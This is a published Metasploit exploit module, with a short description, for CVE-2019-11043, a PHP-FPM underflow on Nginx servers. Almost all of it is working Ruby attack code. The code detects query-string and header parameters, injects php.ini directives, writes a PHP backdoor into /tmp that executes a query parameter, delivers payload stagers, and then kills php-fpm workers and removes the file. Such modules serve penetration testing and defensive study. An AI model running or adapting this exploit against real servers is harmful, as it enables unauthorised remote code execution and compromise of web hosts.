PHP-FPM 7.x Remote Code Execution

This Metasploit module exploits an underflow vulnerability in PHP-FPM versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 of PHP-FPM on Nginx. Only servers with certain Nginx + PHP-FPM configurations are exploitable. This is a port of the original neex's exploit code (see refs). First, it detects the correct parameters (Query String Length and custom header length) needed to trigger code execution. This step determines if the target is actually vulnerable (Check method). Then, the exploit sets a series of PHP INI directives to create a file locally on the target, which enables code execution through a query string parameter. This is used to execute normal payload stagers. Finally, this module does some cleanup by killing local PHP-FPM workers (those are spawned automatically once killed) and removing the created local file.


MD5 | bcbc7e0f55f9d8c8cc54d552dc319ffa

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'PHP-FPM Underflow RCE',
'Description' => %q(
This module exploits an underflow vulnerability in versions 7.1.x
below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 of PHP-FPM on
Nginx. Only servers with certains Nginx + PHP-FPM configurations are
exploitable. This is a port of the original neex's exploit code (see
refs.). First, it detects the correct parameters (Query String Length
and custom header length) needed to trigger code execution. This step
determines if the target is actually vulnerable (Check method). Then,
the exploit sets a series of PHP INI directives to create a file
locally on the target, which enables code execution through a query
string parameter. This is used to execute normal payload stagers.
Finally, this module does some cleanup by killing local PHP-FPM
workers (those are spawned automatically once killed) and removing
the created local file.
),
'Author' => [
'neex', # (Emil Lerner) Discovery and original exploit code
'cdelafuente-r7' # This module
],
'References' =>
[
['CVE', '2019-11043'],
['EDB', '47553'],
['URL', 'https://github.com/neex/phuip-fpizdam'],
['URL', 'https://bugs.php.net/bug.php?id=78599'],
['URL', 'https://blog.orange.tw/2019/10/an-analysis-and-thought-about-recently.html']
],
'DisclosureDate' => "2019-10-22",
'License' => MSF_LICENSE,
'Payload' => {
'BadChars' => "&>\' "
},
'Targets' => [
[
'PHP', {
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Payload' => {
'PrependEncoder' => "php -r \"",
'AppendEncoder' => "\""
}
}
],
[
'Shell Command', {
'Platform' => 'unix',
'Arch' => ARCH_CMD
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SERVICE_RESTARTS],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Path to a PHP page', '/index.php'])
])

register_advanced_options([
OptInt.new('MinQSL', [true, 'Minimum query string length', 1500]),
OptInt.new('MaxQSL', [true, 'Maximum query string length', 1950]),
OptInt.new('QSLHint', [false, 'Query string length hint']),
OptInt.new('QSLDetectStep', [true, 'Query string length detect step', 5]),
OptInt.new('MaxQSLCandidates', [true, 'Max query string length candidates', 10]),
OptInt.new('MaxQSLDetectDelta', [true, 'Max query string length detection delta', 10]),
OptInt.new('MaxCustomHeaderLength', [true, 'Max custom header length', 256]),
OptInt.new('CustomHeaderLengthHint', [false, 'Custom header length hint']),
OptEnum.new('DetectMethod', [true, "Detection method", 'session.auto_start', self.class.detect_methods.keys]),
OptInt.new('OperationMaxRetries', [true, 'Maximum of operation retries', 20])
])
@filename = rand_text_alpha(1)
@http_param = rand_text_alpha(1)
end

CHECK_COMMAND = "which which"
SUCCESS_PATTERN = "/bin/which"

class DetectMethod
attr_reader :php_option_enable, :php_option_disable

def initialize(php_option_enable:, php_option_disable:, check_cb:)
@php_option_enable = php_option_enable
@php_option_disable = php_option_disable
@check_cb = check_cb
end

def php_option_enabled?(res)
[email protected]_cb.call(res)
end
end

def self.detect_methods
{
'session.auto_start' => DetectMethod.new(
php_option_enable: 'session.auto_start=1',
php_option_disable: 'session.auto_start=0',
check_cb: ->(res) { res.get_cookies =~ /PHPSESSID=/ }
),
'output_handler.md5' => DetectMethod.new(
php_option_enable: 'output_handler=md5',
php_option_disable: 'output_handler=NULL',
check_cb: ->(res) { res.body.length == 16 }
)
}
end

def send_crafted_request(path:, qsl: datastore['MinQSL'], customh_length: 1, cmd: '', allow_retry: true)
uri = URI.encode(normalize_uri(target_uri.path, path)).gsub(/([?&])/, {'?'=>'%3F', '&'=>'%26'})
qsl_delta = uri.length - path.length - URI.encode(target_uri.path).length
if qsl_delta.odd?
fail_with Failure::Unknown, "Got odd qslDelta, that means the URL encoding gone wrong: path=#{path}, qsl_delta=#{qsl_delta}"
end
prefix = cmd.empty? ? '' : "#{@http_param}=#{URI.encode(cmd)}%26"
qsl_prime = qsl - qsl_delta/2 - prefix.length
if qsl_prime < 0
fail_with Failure::Unknown, "QSL value too small to fit the command: QSL=#{qsl}, qsl_delta=#{qsl_delta}, prefix (size=#{prefix.size})=#{prefix}"
end
uri = "#{uri}?#{prefix}#{'Q'*qsl_prime}"
opts = {
'method' => 'GET',
'uri' => uri,
'headers' => {
'CustomH' => "x=#{Rex::Text.rand_text_alphanumeric(customh_length)}",
'Nuut' => Rex::Text.rand_text_alphanumeric(11)
}
}
actual_timeout = datastore['HttpClientTimeout'] if datastore['HttpClientTimeout']&.> 0
actual_timeout ||= 20

connect(opts) if client.nil? || !client.conn?
# By default, try to reuse an existing connection (persist option).
res = client.send_recv(client.request_raw(opts), actual_timeout, true)
if res.nil? && allow_retry
# The server closed the connection, resend without 'persist', which forces
# reconnecting. This could happen if the connection is reused too much time.
# Nginx will automatically close a keepalive connection after 100 requests
# by default or whatever value is set by the 'keepalive_requests' option.
res = client.send_recv(client.request_raw(opts), actual_timeout)
end
res
end

def repeat_operation(op, opts={})
datastore['OperationMaxRetries'].times do |i|
vprint_status("#{op}: try ##{i+1}")
res = opts.empty? ? send(op) : send(op, opts)
return res if res
end
nil
end

def extend_qsl_list(qsl_candidates)
qsl_candidates.each_with_object([]) do |qsl, extended_qsl|
(0..datastore['MaxQSLDetectDelta']).step(datastore['QSLDetectStep']) do |delta|
extended_qsl << qsl - delta
end
end.sort.uniq
end

def sanity_check?
datastore['OperationMaxRetries'].times do
res = send_crafted_request(
path: "/PHP\nSOSAT",
qsl: datastore['MaxQSL'],
customh_length: datastore['MaxCustomHeaderLength']
)
unless res
vprint_error("Error during sanity check")
return false
end
if res.code != @base_status
vprint_error(
"Invalid status code: #{res.code} (must be #{@base_status}). "\
"Maybe \".php\" suffix is required?"
)
return false
end
detect_method = self.class.detect_methods[datastore['DetectMethod']]
if detect_method.php_option_enabled?(res)
vprint_error(
"Detection method '#{datastore['DetectMethod']}' won't work since "\
"the PHP option has already been set on the target. Try another one"
)
return false
end
end
return true
end

def set_php_setting(php_setting:, qsl:, customh_length:, cmd: '')
res = nil
path = "/PHP_VALUE\n#{php_setting}"
pos_offset = 34
if path.length > pos_offset
vprint_error(
"The path size (#{path.length} bytes) is larger than the allowed size "\
"(#{pos_offset} bytes). Choose a shorter php.ini value (current: '#{php_setting}')")
return nil
end
path += ';' * (pos_offset - path.length)
res = send_crafted_request(
path: path,
qsl: qsl,
customh_length: customh_length,
cmd: cmd
)
unless res
vprint_error("error while setting #{php_setting} for qsl=#{qsl}, customh_length=#{customh_length}")
end
return res
end

def send_params_detection(qsl_candidates:, customh_length:, detect_method:)
php_setting = detect_method.php_option_enable
vprint_status("Iterating until the PHP option is enabled (#{php_setting})...")
customh_lengths = customh_length ? [customh_length] : (1..datastore['MaxCustomHeaderLength']).to_a
qsl_candidates.product(customh_lengths) do |qsl, c_length|
res = set_php_setting(php_setting: php_setting, qsl: qsl, customh_length: c_length)
unless res
vprint_error("Error for qsl=#{qsl}, customh_length=#{c_length}")
return nil
end
if res.code != @base_status
vprint_status("Status code #{res.code} for qsl=#{qsl}, customh_length=#{c_length}")
end
if detect_method.php_option_enabled?(res)
php_setting = detect_method.php_option_disable
vprint_status("Attack params found, disabling PHP option (#{php_setting})...")
set_php_setting(php_setting: php_setting, qsl: qsl, customh_length: c_length)
return { qsl: qsl, customh_length: c_length }
end
end
return nil
end

def detect_params(qsl_candidates)
customh_length = nil
if datastore['CustomHeaderLengthHint']
vprint_status(
"Using custom header length hint for max length (customh_length="\
"#{datastore['CustomHeaderLengthHint']})"
)
customh_length = datastore['CustomHeaderLengthHint']
end
detect_method = self.class.detect_methods[datastore['DetectMethod']]
return repeat_operation(
:send_params_detection,
qsl_candidates: qsl_candidates,
customh_length: customh_length,
detect_method: detect_method
)
end

def send_attack_chain
[
"short_open_tag=1",
"html_errors=0",
"include_path=/tmp",
"auto_prepend_file=#{@filename}",
"log_errors=1",
"error_reporting=2",
"error_log=/tmp/#{@filename}",
"extension_dir=\"<?=`\"",
"extension=\"$_GET[#{@http_param}]`?>\""
].each do |php_setting|
vprint_status("Sending php.ini setting: #{php_setting}")
res = set_php_setting(
php_setting: php_setting,
qsl: @params[:qsl],
customh_length: @params[:customh_length],
cmd: "/bin/sh -c '#{CHECK_COMMAND}'"
)
if res
return res if res.body.include?(SUCCESS_PATTERN)
else
print_error("Error when setting #{php_setting}")
return nil
end
end
return nil
end

def send_payload
disconnect(client) if client&.conn?
send_crafted_request(
path: '/',
qsl: @params[:qsl],
customh_length: @params[:customh_length],
cmd: payload.encoded,
allow_retry: false
)
Rex.sleep(1)
return session_created? ? true : nil
end

def send_backdoor_cleanup
cleanup_command = ";echo '<?php echo `$_GET[#{@http_param}]`;return;?>'>/tmp/#{@filename}"
res = send_crafted_request(
path: '/',
qsl: @params[:qsl],
customh_length: @params[:customh_length],
cmd: cleanup_command + ';' + CHECK_COMMAND
)
return res if res&.body.include?(SUCCESS_PATTERN)
return nil
end

def detect_qsl
qsl_candidates = []
(datastore['MinQSL']..datastore['MaxQSL']).step(datastore['QSLDetectStep']) do |qsl|
res = send_crafted_request(path: "/PHP\nabcdefghijklmopqrstuv.php", qsl: qsl)
unless res
vprint_error("Error when sending query with QSL=#{qsl}")
next
end
if res.code != @base_status
vprint_status("Status code #{res.code} for qsl=#{qsl}, adding as a candidate")
qsl_candidates << qsl
end
end
qsl_candidates
end

def check
print_status("Sending baseline query...")
res = send_crafted_request(path: "/path\ninfo.php")
return CheckCode::Unknown("Error when sending baseline query") unless res
@base_status = res.code
vprint_status("Base status code is #{@base_status}")

if datastore['QSLHint']
print_status("Skipping qsl detection, using hint (qsl=#{datastore['QSLHint']})")
qsl_candidates = [datastore['QSLHint']]
else
print_status("Detecting QSL...")
qsl_candidates = detect_qsl
end
if qsl_candidates.empty?
return CheckCode::Detected("No qsl candidates found, not vulnerable or something went wrong")
end
if qsl_candidates.size > datastore['MaxQSLCandidates']
return CheckCode::Detected("Too many qsl candidates found, looks like I got banned")
end

print_good("The target is probably vulnerable. Possible QSLs: #{qsl_candidates}")

qsl_candidates = extend_qsl_list(qsl_candidates)
vprint_status("Extended QSL list: #{qsl_candidates}")

print_status("Doing sanity check...")
return CheckCode::Detected('Sanity check failed') unless sanity_check?

print_status("Detecting attack parameters...")
@params = detect_params(qsl_candidates)
return CheckCode::Detected('Unable to detect parameters') unless @params

print_good("Parameters found: QSL=#{@params[:qsl]}, customh_length=#{@params[:customh_length]}")
print_good("Target is vulnerable!")
CheckCode::Vulnerable
end

def exploit
unless check == CheckCode::Vulnerable
fail_with Failure::NotVulnerable, 'Target is not vulnerable.'
end
if @params[:qsl].nil? || @params[:customh_length].nil?
fail_with Failure::NotVulnerable, 'Attack parameters not found'
end

print_status("Performing attack using php.ini settings...")
if repeat_operation(:send_attack_chain)
print_good("Success! Was able to execute a command by appending '#{CHECK_COMMAND}'")
else
fail_with Failure::Unknown, 'Failed to send the attack chain'
end

print_status("Trying to cleanup /tmp/#{@filename}...")
if repeat_operation(:send_backdoor_cleanup)
print_good('Cleanup done!')
end

print_status("Sending payload...")
repeat_operation(:send_payload)
end

def send_cleanup(cleanup_cmd:)
res = send_crafted_request(
path: '/',
qsl: @params[:qsl],
customh_length: @params[:customh_length],
cmd: cleanup_cmd
)
return res if res && res.code != @base_status
return nil
end

def cleanup
return unless successful
kill_workers = 'for p in `pidof php-fpm`; do kill -9 $p;done'
rm = "rm -f /tmp/#{@filename}"
cleanup_cmd = kill_workers + ';' + rm
disconnect(client) if client&.conn?
print_status("Remove /tmp/#{@filename} and kill workers...")
if repeat_operation(:send_cleanup, cleanup_cmd: cleanup_cmd)
print_good("Done!")
else
print_bad(
"Could not cleanup. Run these commands before terminating the session: "\
"#{kill_workers}; #{rm}"
)
end
end
end

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